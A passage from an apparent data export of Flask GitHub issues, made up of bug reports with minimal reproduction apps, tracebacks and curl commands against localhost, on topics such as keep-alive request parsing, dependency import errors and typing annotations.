![image](https://user-images.githubusercontent.com/19205853/165802744-4480c401-d772-47b8-802b-1aa7431cefa4.png)

Also it seems to work normally if there is no inputs in the form (but that is of no matter as there are no real life forms without any input).

Replication steps:

Happens on Edge, Chrome and Firefox for sure.

```python
from flask import Flask, request, redirect

app: Flask = Flask(__name__)

@app.route(""/"", methods=[""GET""])
def hello():
    return ""<a href='/my_form'>to form</a>""

@app.route(""/my_form"", methods=[""GET"", ""POST""])
def my_form():
    if request.method == ""GET"":
        return ""<form action='/my_form' method='POST' ><input type='hidden' name='id' value='0'><button type='submit'>Submit</button></form>""
    else:
        return redirect(""/"")

# app.run(host=""127.0.0.1"", port=80, debug=True)
```

I would expect that the submission of a form allows for a redirect to the home page without any errors like 405. I don't expect any of the arguments to be passed to the redirected request.

... [TRUNCATED]",,2022-04-28T16:49:00Z,2022-04-28T16:50:22Z,1
pallets/flask,1218994579,Cannot import name 'BaseResponse' from 'werkzeug.wrappers',"<!--
This issue tracker is a tool to address bugs in Flask itself. Please use
Pallets Discord or Stack Overflow for questions about your own code.

-->
Importing BaseResponse from werkzeug.wrappers creates an import error. 
BaseResponse has been deprecated by werkzeug in its recent release.
<!--
Describe how to replicate the bug.
Setting up Flask in new environment
Include a minimal reproducible example that demonstrates the bug.
Include the full traceback if there was an exception.
-->

<!--
Describe the expected behavior that should have happened but didn't.
-->
Flask App Server should have run. 

Environment:

- Python version: 3.9.7
- Flask version: 2.1.1
",,2022-04-28T16:38:24Z,2022-04-28T16:40:16Z,1
pallets/flask,1217524246,asserts with `pytest.raises` should be outside the `with` block,"I've been using Flask's test suite to evaluate our [Slipcover](https://github.com/plasma-umass/slipcover) coverage tool and noticed likely bugs in the Flask tests.  For example, in `tests/test_basic.py`, you have

```python
def test_response_type_errors():
    [...]

    with pytest.raises(TypeError) as e:
        c.get(""/none"")
        assert ""returned None"" in str(e.value)
        assert ""from_none"" in str(e.value)

    with pytest.raises(TypeError) as e:
        c.get(""/small_tuple"")
        assert ""tuple must have the form"" in str(e.value)

    [...]

    with pytest.raises(TypeError) as e:
        c.get(""/bad_type"")
        assert ""it was a bool"" in str(e.value)
```
You probably don't want the `assert` statements checking `e` indented, as they won't execute when the exception is thrown.",testing,2022-04-27T15:30:57Z,2022-04-28T16:35:56Z,2
pallets/flask,1215749683,reqparse fails on multipart/form-data due to change in werkzeug.request,"when some `multipart/form-data` request is parsed via a` reqparse.RequestParser()`, the parsing fails with 

> werkzeug.exceptions.BadRequest: 400 Bad Request: Did not attempt to load JSON data because the request Content-Type was not 'application/json'.

To replicate create some endpoint, which parses the request with a `reqparse.RequestParser` and send the requested data as `multipart/form-data` for example with `curl`. 

With flask version 2.0.2 (and a corresponding older werkzeug version m(i.e. <2.1.1) ), this worked as expected, i.e. the request gets parsed correctly, with flask version 2.1.1 and werkzeug 2.1.1 (or newer) it fails.

This happens, because with werkzeug version 2.1.1, werkzeug the behaviour of request.get_json() was changes:

""Request.get_json() will raise a 400 BadRequest error if the Content-Type header is not application/json. This makes a very common source of confusion more visible. #2339""

(c.f. https://werkzeug.palletsprojects.com/en/2.1.x/changes/ or https://github.com/pallets/werkzeug/issues/2339)

`requparse.Argument` now loads its location as default with

```
location=('json', 'values',)
```
in line 77 of the `__init__` function and then iterates over `self.location` (in line 125f):
```
for l in self.location:
                value = getattr(request, l, None)
```
which access `request.json` (first) and then  fails due to the new exception in/from werkzeug. 

Capturing that exception or accessing json only if the applic... [TRUNCATED]",,2022-04-26T10:31:36Z,2022-04-26T13:16:52Z,2
pallets/flask,1214345965,Clean up the blueprint.py,"in blueprint.py

```py
value = defaultdict(
    dict,
    {
        code: {
            exc_class: func for exc_class, func in code_values.items()
        }
        for code, code_values in value.items()
    },
)
```

excuse me, Is there any special meaning in this，Can we write it this way

```py
value = defaultdict(dict, value)
```
",,2022-04-25T11:10:23Z,2022-04-25T13:11:12Z,0
pallets/flask,1214241131,use http1.1 keepalive get method not allowed error,"use http1.1 keepalive get method not allowed error

this can be fixed by use
`WSGIRequestHandler.protocol_version=""HTTP/1.0""`

and appear when use
`WSGIRequestHandler.protocol_version=""HTTP/1.1""`

it seem a http server bug

Environment:

- Python version:3.8
- Flask version:2.1.1
",,2022-04-25T09:41:00Z,2022-04-25T13:12:06Z,3
pallets/flask,1211631135,pyright reportPrivateImportUsage error with typical imports,"I have a very simple script here:

```
from time import time, sleep
from typing import Iterator

from flask import Flask, Response


def main() -> None:
    app = Flask(""Testing server"")

    last_started = int(time())
    @app.route(""/reload"", methods=[""GET""])
    def reload() -> Response:
        def stream() -> Iterator[str]:
            # When this is reloaded, it will actually break the connection.
            while True:
                yield f""data: {last_started}\n\n""
                sleep(1)  # pragma: nocover

        return Response(stream(), mimetype=""text/event-stream"")

    app.run(host=""127.0.0.1"", port=3001, use_reloader=True)


if __name__ == ""__main__"":
    main()
```

`mypy --strict` is happy with it.

However, `pyright` is not.

```
$ pyright server.py
Searching for source files
Found 1 source file
server.py
  server.py:4:26 - error: ""Response"" is not exported from module ""flask.app""
    Import from ""flask.wrappers"" instead (reportPrivateImportUsage)
1 error, 0 warnings, 0 informations
Completed in 1.155sec
```

I was surprised, at first, thinking this was a pyright bug. But perhaps it's not?

https://github.com/microsoft/pyright/issues/2639",,2022-04-21T22:59:52Z,2022-04-22T00:11:06Z,2
pallets/flask,1211466781,Flask allows register functions with same name for `before_request` functions,"<!--
This issue tracker is a tool to address bugs in Flask itself. Please use
Pallets Discord or Stack Overflow for questions about your own code.

Replace this comment with a clear outline of what the bug is.
-->
# Bug
Flask allows you to register multiple times a function with the same name when using the `before_request` decorator. 
Is that how it's intended? I tried to find something on this issue in docs, but couldn't.
<!--
Describe how to replicate the bug.

Include a minimal reproducible example that demonstrates the bug.
Include the full traceback if there was an exception.
-->
# Minimal reproducible example
Code:
```py
from flask import Flask

app = Flask(__name__)

@app.route('/')
def main():
    return ""42""

@app.before_request
def f():
    print('hi')

@app.before_request
def f():
    print('hi again')

app.run()
```
Console log:
```cmd
(env) C:\X\x\Project>py my_app.py
 * Serving Flask app 'my_app' (lazy loading)
 * Environment: production
   WARNING: This is a development server. Do not use it in a production deployment.
   Use a production WSGI server instead.
 * Debug mode: off
 * Running on http://127.0.0.1:5000/ (Press CTRL+C to quit)
hi
hi again
127.0.0.1 - - [21/Apr/2022 22:17:40] ""GET / HTTP/1.1"" 200 -
```
<!--
Describe the expected behavior that should have happened but didn't.
-->
# Expected behavior
Flask will throw an error like it does when you try to do the same for the `route` decorator
# Enviro... [TRUNCATED]",,2022-04-21T19:30:27Z,2022-04-21T19:32:17Z,2
pallets/flask,1211017088,JSON data goes to method if not consumed,"When JSON data is send in a POST (or PUT) body, if you don't consume this data, they appear in the method string of the next request and results in a 405 Method Not Allowed response. 

This example code reproduces the error.

```
from flask import Flask, request, jsonify

app = Flask(__name__)

@app.post(""/test_ajax"")
def test_ajax():
    return jsonify({""hello"": ""world""})

@app.get(""/test"")
def test():
    return (
        ""<a href='javascript:test();'>Test</a>""
        ""<script>""
        ""function test() {""
        ""    fetch('/test_ajax', {""
        ""        method: 'POST',""
        ""        headers: {'Content-Type': 'application/json'},""
        ""        body: JSON.stringify({'foo': 'bar'})""
        ""    });""
        ""}""
        ""</script>""
    )
```
This is the log result
```
 * Detected change in 'app.py', reloading
 * Restarting with stat
 * Debugger is active!
 * Debugger PIN: 128-473-016
172.27.0.1 - - [21/Apr/2022 12:55:39] ""GET /test HTTP/1.1"" 200 -
172.27.0.1 - - [21/Apr/2022 12:55:41] ""POST /test_ajax HTTP/1.1"" 200 -
172.27.0.1 - - [21/Apr/2022 12:55:42] ""{""foo"":""bar""}POST /test_ajax HTTP/1.1"" 405 -
```
Works ok for the first click, but not for the second.

If I consumes the data,

```
from flask import Flask, request, jsonify

app = Flask(__name__)

@app.post(""/test_ajax"")
def test_ajax():
    app.logger.info(request.data)     # <<<<<<<<<
    return jsonify({""hello"": ""world""})

@app.get(""/test"")
def test():
 ... [TRUNCATED]",,2022-04-21T13:07:32Z,2022-04-21T13:11:45Z,2
pallets/flask,1205978668,"Flask send 400 ""Bad Request Version"" ","Flask will send 400 ""Bad Request Version"" if Flask send 401 or 403 response to Client without closing the http connection.


1. Client POST text/xml message without ""Basic Authorization""
2. Server response 401, but don't send ""HTTP: close""
3. Client POST text/xml message again with ""Basic Authorization""
4. Server response 400 ""Bad Request Version""

I wish Flask can handle the second POST correctly, And I have tested using another server, it works well.
Please the capture for details. And the partial code is as following(full code link:https://github.com/ballzb/pyacs )

```python
@basic_auth.verify_password
def verify_password(username, password):
    #app.logger.error(f""username={username}, password={password}"")
    if username==config['local']['username'] and password==config['local']['password']:
        return username
    else:
        g.current_user = username
        return False #username or password error

@basic_auth.error_handler
def auth_error(status_code):
    #app.logger.error(f""status_code={status_code}, username={g.current_user}"")
    if status_code == 401:
        if g.current_user:
            return cwmp.make_403_response()
        else:
            return cwmp.make_401_response(config['local']['authentication'])
    # return ""Access Denied"", status_code


@app.route('/acs', methods=['GET', 'POST'])
@multi_auth.login_required
def acs():
    """""" main tr069/acs entry point """"""
    if request.method == 'GET':
        return ... [TRUNCATED]",,2022-04-16T01:39:59Z,2022-04-16T05:03:45Z,2
pallets/flask,1205961711,"PUT request writes a second response: ""HTTPStatus.BAD_REQUEST - Bad request syntax or unsupported method.""","A tiny Flask app with a PUT request is behaving strangely: after it sends the response body that it is supposed to send (from my code), it then sends a second response body with a Flask error in it. The core of the error response is ""Error code explanation: HTTPStatus.BAD_REQUEST - Bad request syntax or unsupported method.""

It looks as though something is parsing the PUT request body as the beginning of a second HTTP request on the same TCP connection.

Here is my app to reproduce the problem (`flaskdouble.py):

```
import flask

app = flask.Flask('flaskdouble')

@app.route('/foo', methods=['PUT', 'POST'])
def foo():
    return 'simple response\n'
```

I'm running it in a Flask working dir, on the 2.1.x branch:

```
FLASK_APP=flaskdouble FLASK_ENV=development ./env/bin/flask run --port 4080
```

To see the problem, I needed to attach a packet sniffer to the connection. For example, ngrep can do it with

```
sudo ngrep -d lo -W byline port 4080
```

Now with both `flaskdouble.py` and ngrep running, send a request to it:

```
curl -v -X PUT -H 'content-type: text/plain' -d 'hello' http://localhost:4080/foo
*   Trying 127.0.0.1:4080...
* Connected to localhost (127.0.0.1) port 4080 (#0)
> PUT /foo HTTP/1.1
> Host: localhost:4080
> User-Agent: curl/7.74.0
> Accept: */*
> content-type: text/plain
> Content-Length: 5
> 
* upload completely sent off: 5 out of 5 bytes
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Server: Wer... [TRUNCATED]",,2022-04-16T00:17:54Z,2022-04-16T00:22:20Z,3
pallets/flask,1205470908,Is it a bug ? ,"My python flask :

```
@app.route('/insert/item', methods=['POST'])
def insert_item():

    return """"
```

In html I try to post a request to /insert/item :

```
fetch('/insert/item', {
            method: 'POST', 
            headers: {
                'Content-Type': 'application/json',
            },
            body: JSON.stringify({""item"":""ABCD""}),
        })
```

My flask only response to the fetch the first time. 
It wont response afterward.

I have to add request_json = request.get_json() in the flask app to solve the issue",,2022-04-15T10:27:28Z,2022-04-15T13:17:09Z,2
pallets/flask,1204355224,Fuzzing integration by way of OSS-Fuzz,"Hi,

Given the popularity of flask I was thinking that it would be nice to set up continuous fuzzing of flask by way of OSS-Fuzz. In this PR: https://github.com/google/oss-fuzz/pull/7542 I have done exactly that, namely created the necessary logic from an OSS-Fuzz perspective to integrate flask. This includes developing an initial two fuzzers as well as the necessary glue for working with OSS-Fuzz. Down the line it is preferable to have the fuzzers upstream but it can be convenient to have on OSS-Fuzz to begin with.

Essentially, OSS-Fuzz is a free service run by Google that performs continuous fuzzing of important open source projects. The only expectation of integrating into OSS-Fuzz is that bugs will be fixed. This is not a ""hard"" requirement in that no one enforces this and the main point is if bugs are not fixed then it is a waste of resources to run the fuzzers, which we would like to avoid. The fuzzing set up on the OSS-Fuzz side relies on Atheris fuzzer to perform the fuzzing.

If you would like to integrate, the only thing I need is as list of email(s) that will get access to the data produced by OSS-Fuzz, such as bug reports, coverage reports and more stats. Notice the emails affiliated with the project will be public in the OSS-Fuzz repo, as they will be part of a configuration file.
",,2022-04-14T10:27:54Z,2022-04-14T13:43:57Z,4
pallets/flask,1200592576,HTTPStatus.BAD_REQUEST if don't access the body data,"Got error messages if don't access the body data in POST route. And I guess lost connection.

```
127.0.0.1 - - [12/Apr/2022 00:39:05] ""POST /good HTTP/1.1"" 200 -
127.0.0.1 - - [12/Apr/2022 00:39:13] ""POST /bad HTTP/1.1"" 200 -
127.0.0.1 - - [12/Apr/2022 00:39:13] code 400, message Bad HTTP/0.9 request type ('{""id"":')
127.0.0.1 - - [12/Apr/2022 00:39:13] ""None /bad HTTP/0.9"" HTTPStatus.BAD_REQUEST -
```
Return data both good, but Bad route do something criminal

Example:
```
from flask import Flask, request
app = Flask(__name__)

@app.route('/bad', methods=['POST'])
def bad():
    return 'OK'

@app.route('/good', methods=['POST'])
def good():
    # j = request.get_json()  also works
    d = request.data
    return 'OK'

if __name__ == ""__main__"":
    app.run(host='127.0.0.1', port=8000, debug=True, use_reloader=False)
```

Request 1:
```
curl -X POST -H 'Content-Type: application/json' -H 'Connection: keep-alive' -d '{""id"": ""fo""}' http://127.0.0.1:8000/good -v
```

GOOD: no error messages in log
```
127.0.0.1 - - [12/Apr/2022 00:39:05] ""POST /good HTTP/1.1"" 200 -
```

Request 2:
```
curl -X POST -H 'Content-Type: application/json' -H 'Connection: keep-alive' -d '{""id"": ""fo""}' http://127.0.0.1:8000/bad -v
```

BAD: 
```
127.0.0.1 - - [12/Apr/2022 00:39:13] ""POST /bad HTTP/1.1"" 200 -
127.0.0.1 - - [12/Apr/2022 00:39:13] code 400, message Bad HTTP/0.9 request type ('{""id"":')
127.0.0.1 - - [12/Apr/2022 00:39:13] ""None /bad HTTP/0.9"" ... [TRUNCATED]",,2022-04-11T22:03:43Z,2022-04-12T17:17:34Z,2
pallets/flask,1199927562,Repeated acceptance response,"<!--
-->
Hello, when I use a flask, I found that the request will execute multiple responses, I don't know where the problem is
<!--

Environment:

- Python version: 3.8
- Flask version:  
```
Python 3.8.11
Flask 1.1.2
Werkzeug 1.0.1

```

Describe how to replicate the bug.
-->

main.py:
```
import server

def print_hi(name):
    print(f'Hi, {name}') 


if __name__ == '__main__':
    # print_hi('PyCharm')
    server.start_server()

```

server.py:

```
import json

from flask import Flask, request
from threading import Thread
import logger

import alertManager
import captureutil


app = Flask('')
@app.route('/webhook', methods=['POST', 'GET'])
def post_message():
  try:
    jsonRequest=request.args.get(""jsonRequest"")
    data = request.data
    body_unicode = data.decode('utf-8')
    logger.log_handler(f""Trigger response begin ---"")

    if request.method == 'POST':
      if jsonRequest == ""true"":
        if check_json(body_unicode):
          json_data = json.loads(data)
          logger.log_handler(f"" post jsonData:{json_data}"")
          sendJsonFunc(json_data)
          return 'success', 200
        else:
          logger.log_handler(f"" post text :{body_unicode}"")
          sendTextFunc(body_unicode)
          return 'success', 200
      else:
        logger.log_handler(f"" post text :{body_unicode}"")
        sendTextFunc(body_unicode)
        return 'success', 200
    else:
      logger.log_handler(f"" ... [TRUNCATED]",,2022-04-11T12:51:31Z,2022-04-11T13:13:25Z,2
pallets/flask,1199125659,test_click_7_deprecated test fails when click 7 is used in test environment,"The test suite invoked with `pytest -vv tests` fails like:

```
=================================== FAILURES ===================================
___________________________ test_click_7_deprecated ____________________________

    def test_click_7_deprecated():
        with patch(""flask.cli.cli""):
            if int(click.__version__[0]) < 8:
>               pytest.deprecated_call(cli_main, match="".* Click 7 is deprecated"")
E               Failed: DID NOT WARN. No warnings of type (<class 'DeprecationWarning'>, <class 'PendingDeprecationWarning'>) was emitted. The list of emitted warnings is: [].

tests/test_cli.py:662: Failed
=========================== short test summary info ============================
FAILED tests/test_cli.py::test_click_7_deprecated - Failed: DID NOT WARN. No ...
============ 1 failed, 456 passed, 14 skipped, 3 xpassed in 10.88s =============
```
when the click dependency is at version 7.1.2.

Environment:

- Python version: 3.9.9
- Flask version: 2.1.1
",,2022-04-10T17:54:48Z,2022-04-11T13:09:29Z,5
pallets/flask,1197175672,test_cli_runner() does not work as demonstrated in the documentation,"In the documentation for 2.0.x forward, the use of the `.invoke()` method is showcased like so:
[`runner.invoke([""hello"", ""--name"", ""Flask""])`](https://flask.palletsprojects.com/en/2.1.x/testing/#running-commands-with-the-cli-runner).

However, the first positional argument to `.invoke()` is the command object:
[`def invoke(self, cli: t.Any = None, args: t.Any = None, **kwargs: t.Any ) -> t.Any:`](https://github.com/pallets/flask/blob/f59574f61198f139616868393db8785bcf9e0fdf/src/flask/testing.py#L261=)
So usage as described by the documentation won't work.
I'm quite confused as to why the documentation was changed when the method was never altered.

I suggest either the documentation be changed or the position of `cli` and `args` be switched.

",docs,2022-04-08T11:02:27Z,2022-04-08T18:05:27Z,1
pallets/flask,1196166408,Header issue with body request,"I'm seeing exactly the same problem as described in issue #2100, which has now been closed without any comment.

On sending a second GET to an endoint that has previously received a POST on the same endpoint, Flask prepends the previous POST data to the method of the GET resulting in a Method Not Allowed for that request:

The GET page contains a very simple form, with a submit button named action set to value login.

```
127.0.0.1 - - [07/Apr/2022 16:43:00] ""GET /login/UOFVq8Wu HTTP/1.1"" 200 -
127.0.0.1 - - [07/Apr/2022 16:43:03] ""POST /login/UOFVq8Wu HTTP/1.1"" 200 -
127.0.0.1 - - [07/Apr/2022 16:43:14] ""action=loginGET /login/u4onflQV HTTP/1.1"" 405 -
```

Environment:
- Python version: 3.10.4
- Flask version: 2.1.1",,2022-04-07T14:52:14Z,2022-04-07T15:50:28Z,3
pallets/flask,1193247771,Flask(1.0.x) and Jinja2(3.1.1) are not compatible,"<!--
This issue tracker is a tool to address bugs in Flask itself. Please use
Pallets Discord or Stack Overflow for questions about your own code.

Replace this comment with a clear outline of what the bug is.
-->

<!--
Describe how to replicate the bug.

Include a minimal reproducible example that demonstrates the bug.
Include the full traceback if there was an exception.
-->

<!--
Describe the expected behavior that should have happened but didn't.
-->

Environment:

- Python version: python3.7
- Flask version: flask 1.0.2

it will throw error like this:
`importerror: cannot import name 'markup' from 'jinja2'`
",,2022-04-05T14:38:13Z,2022-04-05T14:39:13Z,2
pallets/flask,1192331230,"Argument 1 to ""loads"" has incompatible type ""bytes""; expected ""str""","From the [documentations](https://docs.python.org/3/library/json.html#json.loads), json.loads accepts bytes as an argument, so i'm not sure what's the reasoning behind flask.json annotating it to `str` only. https://github.com/pallets/flask/blob/main/src/flask/json/__init__.py#L156. As a result, mypy is raising an error.

Is this correct?

```python
import requests
from flask.json import loads

# Making a get request
response = requests.get('https://api.github.com')

# With response.content
loads(response.content)
Argument 1 to ""loads"" has incompatible type ""bytes""; expected ""str""

# With response.text
loads(response.text)
No issue
```

Environment:

- Python version: 3.8x
- Flask version: 2.1x
",typing,2022-04-04T21:24:43Z,2022-04-24T16:58:09Z,2
pallets/flask,1190209977,`flask.safe_join` Was Removed Without A Clear Deprecation Notice,"In version 2.1.1, `flask.safe_join` was removed. However, the [documentation for version 2.0.x](https://flask.palletsprojects.com/en/2.0.x/api/#flask.safe_join) did not include any deprecation notice. 

A deprecation warning _was_ raised when calling `safe_join` in version 2.0.x, but many developers rely on the documentation for deprecation notices. Also, the warning referred explicitly only to `flask.helpers.safe_join`, and not to `flask.safe_join`, so it made sense to assume that the shorthand `flask.safe_join` will continue to exist (wrapping `werkzeug.utils.safe_join` instead of `flask.helpers.safe_join`).

I suppose many developers were surprised like me from the change, and hence many applications broke after a Flask upgrade (or will break soon, when they upgrade).

To mitigate this problem, I suggest `flask.safe_join` is reintroduced for version 2.1.x (and as soon as possible), while a clear deprecation notice is added to the documentation.",,2022-04-01T19:51:20Z,2022-04-01T19:54:35Z,1
pallets/flask,1189981167,Location header relative rather than absolute URI.,"Flask renders  `response.headers['Location']` as relative rather than absolute path.

I have a bunch of failing tests moving from 2.0.3 to 2.1.x fitting this pattern:
```python
    def test_base_url_redirects_to_home(test_client, test_app):
        """"""Base url should go to home page.""""""
        response = test_client.get('/')
        assert response.status_code == 301
>       assert response.headers['Location'] == 'http://localhost/home/'
E       AssertionError: assert '/home/' == 'http://localhost/home/'
E         - http://localhost/home/
E         + /home/
```
Where the underlying route is:
```python
@bp.route('/', methods=['GET'])
def base_url():
    """"""Redirect bare url to home page.""""""
    return redirect(url_for('my_site.home'), code=301)
```

These tests were passing before the version bump, with no changes to application code. 
An interesting wrinkle is that tests still pass on Ubuntu in github actions, but not Windows. 

Environment:

- Python version: 3.8, 3.9
- Flask version: 2.0.3, 2.1.0, 2.1.1


My understanding (which may be flawed) is that this is a Flask behavioral change, and that spec would be for the header to contain an absolute URI.  Feel free to correct me if I'm wrong. ",,2022-04-01T15:45:59Z,2022-04-01T15:49:23Z,2
pallets/flask,1189456046,add GitHub Sponsors,"Could developers add [GitHub Sponsors](https://github.com/sponsors) option in this repository?

Thanks.",,2022-04-01T08:37:52Z,2022-04-01T12:27:33Z,1
pallets/flask,1186060577,Flask 2.1.0 can't handle request method properly when sending POST repeatedly with an empty body,"With the following example:

```python
from flask import Flask

app = Flask(__name__)


@app.route('/', methods=['POST'])
def hello_world():
    return 'Hello World!'


if __name__ == '__main__':
    app.run()
```
When you set the request body to `{}` with Postman or any HTTP clients, the first request will return 200, while the second request will return a 405 error response. The log shows the request method is `{}POST`:

```
""{}POST / HTTP/1.1"" 405
```

Notice the request body became the part of the request method.
",,2022-03-30T08:14:13Z,2022-03-30T15:31:43Z,6
pallets/flask,1185242108,flask==1.1.1 breaks with with werkzeug==2.1.0,"A recent update to the werkzeug code is breaking flask during server startup
Since `flask==1.1.1` does not pin python requirement versions, it gets installed against the latest `werkzeug==2.1.0`
In the latest `werkzeug==2.1.0`, the response classes have been refactored and the `BaseResponse` class is no longer availab.e
<!--
Describe how to replicate the bug.
Include a minimal reproducible example that demonstrates the bug.
Include the full traceback if there was an exception.
-->
Install flask==1.1.1
The runserver fails with an import error due to recent changes to werkzeug
```python
Traceback (most recent call last):
  File ""/usr/local/bin/moto_server"", line 5, in <module>
    from moto.server import main
  File ""/usr/local/lib/python3.8/dist-packages/moto/server.py"", line 10, in <module>
    from flask import Flask
  File ""/usr/local/lib/python3.8/dist-packages/flask/__init__.py"", line 21, in <module>
    from .app import Flask
  File ""/usr/local/lib/python3.8/dist-packages/flask/app.py"", line 32, in <module>
    from werkzeug.wrappers import BaseResponse
ImportError: cannot import name 'BaseResponse' from 'werkzeug.wrappers' (/usr/local/lib/python3.8/dist-packages/werkzeug/wrappers/__init__.py)
```
<!--
Describe the expected behavior that should have happened but didn't.
-->

Environment:
- Python version: 2.8
- Flask version: 2.1.1 
",,2022-03-29T18:15:47Z,2022-03-29T18:26:19Z,1
pallets/flask,1185062738,"BadRequest at hasattr(request, 'json')","Hi guys, yesterday i notice that getting or verifying 'json' in request object, an exception (BadRequest) raise

For getattr(request, 'json') or even hasattr(request, 'json') I got:

``` 
{BadRequest}400 Bad Request: The browser (or proxy) sent a request that this server could not understand.
```

Someone can help me to understand? Thanks

Environment:

- Python version: 3.7, 3.9
- Flask version: Latest (2.1.0)
",,2022-03-29T15:41:03Z,2022-03-29T15:50:24Z,2
pallets/flask,1184580986,TypeError: entry_points() got an unexpected keyword argument 'group',"## Synopsis

TypeErrors referencing the `entry_points()` method were raised, while running Flask projects initially written for Version 2.0.1. The error does not seem to be a user-programming mistake, as the error was seen when running the Tutorial Project provided in the Flask Documentation.


## Programming Environment

The referenced Tutorial project is found in the following documentation: https://flask.palletsprojects.com/en/2.0.x/tutorial/
Minor corrections were made to the `__init__` file to mirror the Tutorial file in v2.1.0.

### Environment:
- Python version: 3.7.4
- Flask version: 2.0.1
- OS: MacOS High Sierra


## Error Statement
```
Traceback (most recent call last):
  File ""/Library/Frameworks/Python.framework/Versions/3.7/bin/flask"", line 8, in <module>
    sys.exit(main())
  File ""/Library/Frameworks/Python.framework/Versions/3.7/lib/python3.7/site-packages/flask/cli.py"", line 985, in main
    cli.main()
  File ""/Library/Frameworks/Python.framework/Versions/3.7/lib/python3.7/site-packages/flask/cli.py"", line 579, in main
    return super().main(*args, **kwargs)
  File ""/Library/Frameworks/Python.framework/Versions/3.7/lib/python3.7/site-packages/click/core.py"", line 1055, in main
    rv = self.invoke(ctx)
  File ""/Library/Frameworks/Python.framework/Versions/3.7/lib/python3.7/site-packages/click/core.py"", line 1651, in invoke
    cmd_name, cmd, args = self.resolve_command(ctx, args)
  File ""/Library/Frameworks/Python.framework/Vers... [TRUNCATED]",,2022-03-29T09:33:52Z,2022-03-30T21:23:51Z,7
pallets/flask,1182161518,flask not working at all,I put `import flask from Flask` even though I did the pip install the module isn't working for some reason?,,2022-03-26T23:13:13Z,2022-03-26T23:14:40Z,1
pallets/flask,1180664011,Flask failing to startup due to Jinja2 breaking change,"**This issue tracker is a tool to address bugs in Flask itself. Please use
Pallets Discord or Stack Overflow for questions about your own code.**

Since Jinja2 version 3.1.0 was released yesterday, Flask is failing to startup.

**Describe how to replicate the bug.**

Run a basic flask app, it fails to start up with the following traceback:
```
Traceback (most recent call last):

  File ""application.py"", line 1, in <module>

    from flask import Flask, Response, jsonify, request

  File ""/usr/local/lib/python3.8/site-packages/flask/__init__.py"", line 14, in <module>

    from jinja2 import escape

ImportError: cannot import name 'escape' from 'jinja2' (/usr/local/lib/python3.8/site-packages/jinja2/__init__.py)
```

**Describe the expected behavior that should have happened but didn't.**
Application starts up successfully.

Pinning Jinja to 3.0.3 bypasses this issue for us for now, but there's a breaking change there somewhere that will need to be fixed in Flask itself.

**Environment:**

- Python version: 3.8.8
- Flask version: 1.1.2
",,2022-03-25T11:14:23Z,2022-03-25T13:03:19Z,17
pallets/flask,1174757972,Sessions not fully encoded?,"Are the contents of the session cookie really safe?

Hey there, I was browsing around with the flask sessions, and I got interested. I put the session into a base64decoder, and the exact contents where right there. Is there no other way to approach this issue? Is it really safe as everything before the dot is just base64 encoded?

Is it possible to also encode the contents of the cookie in a secure way, such that only the server can have the contents?",,2022-03-21T00:58:09Z,2022-03-21T02:44:59Z,2
pallets/flask,1174675133,`flaskr` docs use raw SQL statements in SQLAlchemy,"Hello everyone and thanks for this project, especially the fantastic documentations!

In [this part of the documentation](https://flask.palletsprojects.com/en/2.0.x/tutorial/views/#the-first-view-register), the `flaskr` example application handles authentication mechanisms by inserting new users / authenticating existing users by connecting to a SQLite database. It uses raw string statements to register new users and/or authenticate them.

Of course, this is an example application, but SQLAlchemy offers database statements as objects which have several benefits as:

- SQL injection safety
- Database actions _as code_

The tutorial does in this case not show the optimal code regarding database statement executions. 

New(er) programmers might not just make their first steps in web application programming using Python Flask, but maybe even make their first steps connecting to a database. I'd propose to rather use a code snippet similar to this:

```python
# code snippet for registering a new user
users = Table('users', metadata, autoload=True)
stmt = users.insert()
stmt.execute(username=username, password=generate_password_hash(password))
```

This way, one does not think about writing raw SQL statements and writes safe code by default.

Thank you and have a nice day!",,2022-03-20T20:28:48Z,2022-03-20T20:32:29Z,2
pallets/flask,1169404528,save_session does not preserve HttpOnly when deleting the cookie,"When the session modified such that it ends up empty, the session cookie is deleted by sending an expired cookie. This 'deletion cookie' is missing the HttpOnly flag. The bug is [in the call to delete_cookie](https://github.com/pallets/flask/blob/b655a9db30d8e78d2fe1044d6301a432f214a16b/src/flask/sessions.py#L392), which is missing the httponly kwarg. 

```
from flask import Flask, session

app = Flask(__name__)
app.secret_key = ""whatever""
app.config['SESSION_COOKIE_HTTPONLY'] = True # the default

@app.route('/')
def index():
    session['foo'] = 1  # sets session.modified
    session.pop('foo')  # afterwards, the session is empty again
    return """"

app.run()
```

expected behavior: the HttpOnly flag should be present on the 'deletion cookie'.

Environment:

- Python version: 3.10.2
- Flask version: 2.0.3
",,2022-03-15T09:29:04Z,2022-03-15T13:38:35Z,1
pallets/flask,1165973856,Connection reset error,"Hi there!
I'm having issues with flask, deployed by gevent.
If I wait like 30 minutes and visit the page it would first show connection reset, and then it would immediately reload the page and make it work normally.
The issue is that I created an app, which interacts with flask and it gets connection reset errors as well.
I suspect flask goes ""idle"" after a while.
Thanks!",,2022-03-11T04:04:00Z,2022-03-11T04:17:57Z,1
pallets/flask,1164297106,Error when parse <link> tag,"By example:

```xml
<?xml version=""1.0"" encoding=""UTF-8"" ?>
<rss version=""2.0"">
    <channel>
        <title>Example</title>
        <link>https://example.com/</link>
        <description>Etc</description>
        {% for page in pages %}
            <item>
                <title>{{ page['data']['card']['title'] }}</title>
                <link>{{ 'https://example.com%s/' % page['baseuri'] }}</link>
                <description><![CDATA[
                    {% with summary = True %}
                        {% include page['uri-resume'] %}
                    {% endwith %}
                ]]></description>
            </item>
        {% endfor %}
    </channel>
</rss>
```

Result is:

```xml
<?xml version=""1.0"" encoding=""UTF-8"" ?>
<rss version=""2.0"">
 <channel>
  <title>
   Example
  </title>
  <link/>
  https://example.com/
  <description>
   Etc
  </description>
  <item>
   <title>
    Article title
   </title>
   <link/>
   https://example.com/categories/foo/2022/03/article/
   <description>
    <![CDATA[
    Foo...
                ]]>
   </description>
  </item>
 </channel>
</rss>
```

The URL is printed out of link tag.",,2022-03-09T18:31:59Z,2022-03-09T18:33:22Z,3
pallets/flask,1162727272,`app.route` and similar decorators can have better types,"Currently, `@app.route` creates a decorator function that takes in a `t.Callable` and returns a `t.Callable`.

This leads to type erasure:

```python
import flask

def foo() -> bool:
    return True

reveal_type(foo)

app = flask.Flask(__name__)

@app.route('/bar')
def bar() -> bool:
    return True

reveal_type(bar)
```

```console
$ mypy mycode.py
mycode.py:6: note: Revealed type is ""def () -> builtins.bool""
mycode.py:14: note: Revealed type is ""Any""
```

Although the function still works the same way:

```pycon
>>> foo()
True
>>> bar()
True
```

